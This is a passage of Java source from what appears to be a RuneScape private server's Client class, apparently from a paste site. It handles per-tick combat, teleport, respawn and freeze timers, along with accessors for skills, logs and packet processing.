  1580. getPA().walkableInterface(-1);
  1581. getPA().showOption(3, 0, "Null", 1);
  1582. } else if (inPits) {
  1583. getPA().showOption(3, 0, "Attack", 1);
  1584. } else if (getPA().inPitsWait()) {
  1585. getPA().showOption(3, 0, "Null", 1);
  1586. }
  1587.  
  1588. if (!hasMultiSign && inMulti()) {
  1589. hasMultiSign = true;
  1590. getPA().multiWay(1);
  1591. }
  1592.  
  1593. if (hasMultiSign && !inMulti()) {
  1594. hasMultiSign = false;
  1595. getPA().multiWay(-1);
  1596. }
  1597.  
  1598. if (skullTimer > 0) {
  1599. skullTimer--;
  1600. if (skullTimer == 1) {
  1601. isSkulled = false;
  1602. attackedPlayers.clear();
  1603. headIconPk = -1;
  1604. skullTimer = -1;
  1605. getPA().requestUpdates();
  1606. }
  1607. }
  1608.  
  1609. if (isDead && respawnTimer == -6) {
  1610. getPA().applyDead();
  1611. }
  1612.  
  1613. if (specRestore > 0) {
  1614. specRestore--;
  1615. }
  1616.  
  1617. if (respawnTimer == 7) {
  1618. respawnTimer = -6;
  1619. getPA().giveLife();
  1620. } else if (respawnTimer == 12) {
  1621. respawnTimer--;
  1622. startAnimation(0x900);
  1623. poisonDamage = -1;
  1624. }
  1625.  
  1626. if (respawnTimer > -6) {
  1627. respawnTimer--;
  1628. }
  1629. if (freezeTimer > -6) {
  1630. freezeTimer--;
  1631. if (frozenBy > 0) {
  1632. if (PlayerHandler.players[frozenBy] == null) {
  1633. freezeTimer = -1;
  1634. frozenBy = -1;
  1635. } else if (!goodDistance(absX, absY,
  1636. PlayerHandler.players[frozenBy].absX,
  1637. PlayerHandler.players[frozenBy].absY, 20)) {
  1638. freezeTimer = -1;
  1639. frozenBy = -1;
  1640. }
  1641. }
  1642. }
  1643.  
  1644. if (hitDelay > 0) {
  1645. hitDelay--;
  1646. }
  1647. //RubberCheck(); //Rubber Chicken
  1648. if (teleTimer > 0) {
  1649. teleTimer--;
  1650. if (isPvpMode) { //For pvp mode - 10 second Teleport delay
  1651. if (!isDead) {
  1652. if (teleTimer == 1 && newLocation > 0) { //Full teleport finishes here.
  1653. teleTimer = 0;
  1654. getPA().changeLocation();
  1655. }
  1656. if (teleTimer == 5) { //This is where it starts to read new map data for teleport
  1657. teleTimer--;
  1658. getPA().processTeleport();
  1659. }
  1660. if (teleTimer == 9 && teleGfx > 0 ) { //This is where the animations start
  1661. teleTimer--;
  1662. if (playerMagicBook == 1) { //Added all this here because of 10 second delay...
  1663. startAnimation(1979);
  1664. gfx0(392);
  1665. } else {
  1666. startAnimation(714);
  1667. gfx100(teleGfx);
  1668. }
  1669. }
  1670. if (teleTimer >= 9 && teleTimer <= (playerMagicBook == 1 ? 19 : 21)) { //This is a check for the "10" second wait timer
  1671. if (underAttackBy > 0 || underAttackBy2 > 0) {
  1672. sendMessage("Teleport has been canceled because you are in combat.");
  1673. teleTimer = 0;
  1674. return;
  1675. }
  1676. }
  1677. if (teleTimer == (playerMagicBook == 1 ? 18 : 20)) { //Start of timer (when you click button)
  1678. if (underAttackBy > 0 || underAttackBy2 > 0) {
  1679. sendMessage("Teleport has been canceled because you are in combat.");
  1680. teleTimer = 0;
  1681. return;
  1682. }
  1683. teleTimer--;
  1684. sendMessage("Teleporting in 10 seconds...");
  1685. getDH().sendDialogues(570, 1);
  1686. }
  1687.  
  1688. } else {
  1689. teleTimer = 0;
  1690. }
  1691. } else { //For regular teleports below
  1692. if (!isDead) {
  1693. if (teleTimer == 1 && newLocation > 0) {
  1694. teleTimer = 0;
  1695. getPA().changeLocation();
  1696. }
  1697. if (teleTimer == 5) {
  1698. teleTimer--;
  1699. getPA().processTeleport();
  1700. }
  1701. if (teleTimer == 9 && teleGfx > 0) {
  1702. teleTimer--;
  1703. gfx100(teleGfx);
  1704. }
  1705. } else {
  1706. teleTimer = 0;
  1707. }
  1708. }
  1709. }
  1710.  
  1711. /*if (isPvpMode) {
  1712. if (System.currentTimeMillis() - pvpTeleDelay > 7000) {
  1713. CycleEventHandler.getSingleton().stopEvents(this);
  1714. getPA().processTeleport();
  1715. } else {
  1716. sendMessage("You must be out of combat for 7 seconds before teleporting.");
  1717. }
  1718. }*/
  1719.  
  1720. if (hitDelay == 1) {
  1721. if (oldNpcIndex > 0) {
  1722. getCombat().delayedHit(this, oldNpcIndex);
  1723. }
  1724. if (oldPlayerIndex > 0) {
  1725. getCombat().playerDelayedHit(this, oldPlayerIndex);
  1726. }
  1727. }
  1728.  
  1729. if (attackTimer > 0) {
  1730. attackTimer--;
  1731. }
  1732.  
  1733. if (attackTimer == 1) {
  1734. if (npcIndex > 0 && clickNpcType == 0) {
  1735. getCombat().attackNpc(npcIndex);
  1736. }
  1737. if (playerIndex > 0) {
  1738. getCombat().attackPlayer(playerIndex);
  1739. }
  1740. } else if (attackTimer <= 0 && (npcIndex > 0 || playerIndex > 0)) {
  1741. if (npcIndex > 0) {
  1742. attackTimer = 0;
  1743. getCombat().attackNpc(npcIndex);
  1744. } else if (playerIndex > 0) {
  1745. attackTimer = 0;
  1746. getCombat().attackPlayer(playerIndex);
  1747. }
  1748. }
  1749.  
  1750. }
  1751.  
  1752. public Map getStringMap() {
  1753. return stringMap;
  1754. }
  1755.  
  1756. private String redOrGreen(boolean green) {
  1757. return green ? "@gre@" : "@red@";
  1758. }
  1759.  
  1760. public void setCurrentTask(Future<?> task) {
  1761. currentTask = task;
  1762. }
  1763.  
  1764. public Future<?> getCurrentTask() {
  1765. return currentTask;
  1766. }
  1767.  
  1768. public synchronized Stream getInStream() {
  1769. return inStream;
  1770. }
  1771.  
  1772. public synchronized int getPacketType() {
  1773. return packetType;
  1774. }
  1775.  
  1776. public synchronized int getPacketSize() {
  1777. return packetSize;
  1778. }
  1779.  
  1780. public synchronized Stream getOutStream() {
  1781. return outStream;
  1782. }
  1783.  
  1784. public ItemAssistant getItems() {
  1785. return itemAssistant;
  1786. }
  1787.  
  1788. public PlayerAssistant getPA() {
  1789. return playerAssistant;
  1790. }
  1791.  
  1792. public PMLog PMLog() {
  1793. return PMLog;
  1794. }
  1795.  
  1796. public Alching Alching() {
  1797. return Alching;
  1798. }
  1799.  
  1800. public ClickItem ClickItem() {
  1801. return ClickItem;
  1802. }
  1803.  
  1804. public Shopping Shopping() {
  1805. return Shopping;
  1806. }
  1807.  
  1808. public PickupItem PickupItem() {
  1809. return PickupItem;
  1810. }
  1811.  
  1812. public DroppingItem DroppingItem() {
  1813. return DroppingItem;
  1814. }
  1815. public PvPLog PvPLog() {
  1816. return PvPLog;
  1817. }
  1818. public CommandsLog CommandsLog() {
  1819. return CommandsLog;
  1820. }
  1821.  
  1822. public StakingLog StakingLog() {
  1823. return StakingLog;
  1824. }
  1825.  
  1826. public DialogueHandler getDH() {
  1827. return dialogueHandler;
  1828. }
  1829.  
  1830. public ShopAssistant getShops() {
  1831. return shopAssistant;
  1832. }
  1833.  
  1834. public TradeAndDuel getTradeAndDuel() {
  1835. return tradeAndDuel;
  1836. }
  1837.  
  1838. public CombatAssistant getCombat() {
  1839. return combatAssistant;
  1840. }
  1841.  
  1842. public ActionHandler getActions() {
  1843. return actionHandler;
  1844. }
  1845.  
  1846. public KillsStreak getStreak() {
  1847. return killsStreak;
  1848. }
  1849.  
  1850. public PlayerKilling getKill() {
  1851. return playerKilling;
  1852. }
  1853.  
  1854. public Channel getSession() {
  1855. return session;
  1856. }
  1857.  
  1858. public Achievement getAchievement() {
  1859. return achievement;
  1860. }
  1861.  
  1862. public TradeLog getTradeLog() {
  1863. return tradeLog;
  1864. }
  1865.  
  1866. public Bank getBank() {
  1867. return bank;
  1868. }
  1869.  
  1870. public Potions getPotions() {
  1871. return potions;
  1872. }
  1873.  
  1874. public PotionMixing getPotMixing() {
  1875. return potionMixing;
  1876. }
  1877.  
  1878. public Food getFood() {
  1879. return food;
  1880. }
  1881.  
  1882. public boolean ardiRizal() {
  1883. if ((playerEquipment[playerHat] == -1)
  1884. && (playerEquipment[playerCape] == -1)
  1885. && (playerEquipment[playerAmulet] == -1)
  1886. && (playerEquipment[playerChest] == -1)
  1887. && (playerEquipment[playerShield] == -1)
  1888. && (playerEquipment[playerLegs] == -1)
  1889. && (playerEquipment[playerHands] == -1)
  1890. && (playerEquipment[playerFeet] == -1)
  1891. && (playerEquipment[playerWeapon] == -1)) {
  1892. return true;
  1893. } else {
  1894. return false;
  1895. }
  1896. }
  1897.  
  1898. private boolean isBusy = false;
  1899. private boolean isBusyHP = false;
  1900. public boolean isBusyFollow = false;
  1901.  
  1902. public boolean checkBusy() {
  1903. /*
  1904. * if (getCombat().isFighting()) { return true; }
  1905. */
  1906. if (isBusy) {
  1907. // actionAssistant.sendMessage("You are too busy to do that.");
  1908. }
  1909. return isBusy;
  1910. }
  1911.  
  1912. public boolean checkBusyHP() {
  1913. return isBusyHP;
  1914. }
  1915.  
  1916. public boolean checkBusyFollow() {
  1917. return isBusyFollow;
  1918. }
  1919.  
  1920. public void setBusy(boolean isBusy) {
  1921. this.isBusy = isBusy;
  1922. }
  1923.  
  1924. public boolean isBusy() {
  1925. return isBusy;
  1926. }
  1927.  
  1928. public void setBusyFollow(boolean isBusyFollow) {
  1929. this.isBusyFollow = isBusyFollow;
  1930. }
  1931.  
  1932. public void setBusyHP(boolean isBusyHP) {
  1933. this.isBusyHP = isBusyHP;
  1934. }
  1935.  
  1936. public boolean isBusyHP() {
  1937. return isBusyHP;
  1938. }
  1939.  
  1940. public boolean isBusyFollow() {
  1941. return isBusyFollow;
  1942. }
  1943.  
  1944. public boolean canWalk = true;
  1945. public boolean hasChosenIronMan;
  1946. public boolean isChosing;
  1947.  
  1948. public boolean canWalk() {
  1949. return canWalk;
  1950. }
  1951.  
  1952. public void setCanWalk(boolean canWalk) {
  1953. this.canWalk = canWalk;
  1954. }
  1955.  
  1956. public PlayerAssistant getPlayerAssistant() {
  1957. return playerAssistant;
  1958. }
  1959.  
  1960. public SkillInterfaces getSI() {
  1961. return skillInterfaces;
  1962. }
  1963.  
  1964. public Zulrah getZulrah() {
  1965. return zulrah;
  1966. }
  1967.  
  1968. /**
  1969. * Skill Constructors
  1970. */
  1971. public Slayer getSlayer() {
  1972. return slayer;
  1973. }
  1974.  
  1975. public Hunter getHunter() {
  1976. return hunter;
  1977. }
  1978.  
  1979. public Summoning Summoning() {
  1980. return Summoning;
  1981. }
  1982.  
  1983. public Woodcutting getWoodcutting() {
  1984. return woodcutting;
  1985. }
  1986.  
  1987. public Mining getMining() {
  1988. return mine;
  1989. }
  1990.  
  1991. public Runecrafting getRunecrafting() {
  1992. return runecrafting;
  1993. }
  1994.  
  1995. public BankPin getBankPin() {
  1996. return bankPin;
  1997. }
  1998.  
  1999. public PotSmoking getPotSmoking() {
  2000. return potSmoking;
  2001. }
  2002.  
  2003. public Cooking getCooking() {
  2004. return cooking;
  2005. }
  2006.  
  2007. public Agility getAgility() {
  2008. return agility;
  2009. }
  2010.  
  2011. public Crafting getCrafting() {
  2012. return crafting;
  2013. }
  2014.  
  2015. public Farming getFarming() {
  2016. return farming;
  2017. }
  2018.  
  2019. public Thieving getThieving() {
  2020. return thieving;
  2021. }
  2022.  
  2023. public Herblore getHerblore() {
  2024. return herblore;
  2025. }
  2026.  
  2027. public String getConnectedFrom() {
  2028. return connectedFrom;
  2029. }
  2030.  
  2031. public Pets getSummon() {
  2032. return pets;
  2033. }
  2034.  
  2035. public Smithing getSmithing() {
  2036. return smith;
  2037. }
  2038. public CreateNPC createNPC() {
  2039. return newNPC;
  2040. }
  2041.  
  2042. public RemoveNPC removeNPC() {
  2043. return rNPC;
  2044. }
  2045. public SmithingInterface getSmithingInt() {
  2046. return smithInt;
  2047. }
  2048.  
  2049. public Firemaking getFiremaking() {
  2050. return firemaking;
  2051. }
  2052.  
  2053. public Fletching getFletching() {
  2054. return fletching;
  2055. }
  2056.  
  2057. public Prayer getPrayer() {
  2058. return prayer;
  2059. }
  2060.  
  2061. /**
  2062. * End of Skill Constructors
  2063. */
  2064.  
  2065. public void queueMessage(Packet arg1) {
  2066. synchronized (queuedPackets) {
  2067. queuedPackets.add(arg1);
  2068. }
  2069. }
  2070.  
  2071. @Override
  2072. public boolean processQueuedPackets() {
  2073. synchronized (queuedPackets) {
  2074. Packet p = null;
  2075. while ((p = queuedPackets.poll()) != null) {
  2076. inStream.currentOffset = 0;
  2077. packetType = p.getOpcode();
  2078. packetSize = p.getLength();
  2079. inStream.buffer = p.getPayload().array();
  2080. if (packetType > 0) {
  2081. PacketHandler.processPacket(this, packetType, packetSize);
  2082. }
  2083. }
  2084. }
  2085. return true;
  2086. }
  2087.  
  2088. /*
  2089. * public void queueMessage(Packet arg1) { //synchronized(queuedPackets) {
  2090. * //if (arg1.getId() != 41) queuedPackets.add(arg1); //else
  2091. * //processPacket(arg1); //} }
  2092. *
  2093. * public synchronized boolean processQueuedPackets() { Packet p = null;
  2094. * synchronized(queuedPackets) { p = queuedPackets.poll(); } if(p == null) {
  2095. * return false; } inStream.currentOffset = 0; packetType = p.getOpcode();
  2096. * packetSize = p.getLength(); inStream.buffer = p.getPayload().array();
  2097. * if(packetType > 0) { //sendMessage("PacketType: " + packetType);
  2098. * PacketHandler.processPacket(this, packetType, packetSize); }
  2099. * timeOutCounter = 0; return true; }
  2100. *
  2101. * public synchronized boolean processPacket(Packet p) { synchronized (this)
  2102. * { if(p == null) { return false; } inStream.currentOffset = 0; packetType
  2103. * = p.getOpcode(); packetSize = p.getLength(); inStream.buffer =
  2104. * p.getPayload().array(); if(packetType > 0) { //sendMessage("PacketType: "
  2105. * + packetType); PacketHandler.processPacket(this, packetType, packetSize);
  2106. * } timeOutCounter = 0; return true; } }
  2107. */
  2108.  
  2109. public void correctCoordinates() {
  2110. if (inPcGame()) {
  2111. getPA().movePlayer(2657, 2639, 0);
  2112. }
  2113. if (inFightCaves()) {
  2114. getPA().movePlayer(absX, absY, playerId * 4);
  2115. sendMessage("Your wave will start in 10 seconds.");
  2116. CycleEventHandler.getSingleton().addEvent(this, new CycleEvent() {
  2117. @Override
  2118. public void execute(CycleEventContainer container) {
  2119. Server.fightCaves
  2120. .spawnNextWave((Client) PlayerHandler.players[playerId]);
  2121. container.stop();
  2122. }
  2123.  
  2124. @Override
  2125. public void stop() {
  2126.  
  2127. }
  2128. }, 20);
  2129.  
  2130. }
  2131.  
  2132. }
  2133.  
  2134. public Barrows getBarrows() {
  2135. return barrows;
  2136. }
  2137.  
  2138. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement